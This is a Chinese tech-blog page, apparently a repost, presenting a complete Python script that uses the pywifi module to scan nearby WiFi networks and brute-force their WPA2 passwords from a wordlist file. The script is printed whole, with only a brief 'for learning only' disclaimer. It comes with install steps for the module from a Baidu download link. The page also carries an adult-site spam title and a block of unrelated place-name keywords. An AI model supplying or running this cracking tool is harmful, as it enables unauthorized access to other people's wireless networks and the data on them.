中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Python利用字典破解WIFI密碼的方法

發布時間:2020-10-06 16:14:52 來源:腳本之家 閱讀:278 作者:wujinmei 欄目:開發技術

最近看到網上的一些作品,然后進行一些完善。只是用于學習,不要去干壞事哦。程序來源于網,我只是做了一些優化。當然這種方法破解還是有點慢哦。我用的python 3.6.5

既然要破解wifi,那么連接wifi的模塊首先要有的,我們要導入pywifi模塊。

有些同學可能沒有這個,如果直接通過pip安裝的話,可能不能用,聽說這個wifi模塊被停用了,所以大家如果通過pip安裝的不行,那么就下載我提供的。

鏈接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh4QAMhg

本地安裝方法:

1)下載解壓好以后,我們用cmd命令行,進入到你的文件目錄

2)使用命令pip install . 注意了(install后面有個點) 

3)然后就會安裝了,等一會就可以了。

程序先查找附近的WIFI,然后按信號強度進行排序,然后只取前wificount=5個信號好的。

import pywifi
from pywifi import const #引用一些定義
import time
namelist = []
ssidlist = []
result = [] #存放查詢到的WIFI,密碼
wificount=5 #查詢附近信號最強的5個WIFI,最多5個
def getwifi():
  wifi=pywifi.PyWiFi()#抓取網卡接口
  ifaces=wifi.interfaces()[0]#獲取網卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重復的WIFI名稱
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取網卡接口
  ifaces=wifi.interfaces()[0]#獲取網卡
  ifaces.disconnect()#斷開無限網卡連接
  profile=pywifi.Profile()#創建wifi連接文件
  profile.ssid=ssidname#定義wifissid
  profile.auth=const.AUTH_ALG_OPEN#網卡的開放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密單元
  profile.key=password #wifi密碼
  ifaces.remove_all_network_profiles()#刪除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加載配置文件
  ifaces.connect(tmp_profile)#連接wifi
  time.sleep(5)#5秒內能否連接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#斷開連接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接寫就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已經找到密碼的WIFI從查詢中刪除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密碼保存起來
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI結果列表:")
    for item in result: #把已經找到密碼的WIFI從查詢中刪除。
      print("")
      print("無線:",item[0])
      print("密碼:",item[1])
  else:
    print("沒有找到WIFI信號,請重試。")
if __name__ == '__main__':
  main()

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對億速云的支持。如果你想了解更多相關內容請查看下面相關鏈接

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

天津市| 澄迈县| 高密市| 锡林郭勒盟| 广元市| 中西区| 搜索| 绥德县| 衡南县| 湖口县| 通河县| 达日县| 会东县| 赣州市| 天气| 会昌县| 务川| 樟树市| 纳雍县| 昌图县| 邓州市| 晋中市| 舞阳县| 仪陇县| 昌宁县| 股票| 徐水县| 沾益县| 安西县| 边坝县| 沿河| 斗六市| 乌恰县| 和田市| 合山市| 文昌市| 东丰县| 托里县| 股票| 高阳县| 济南市|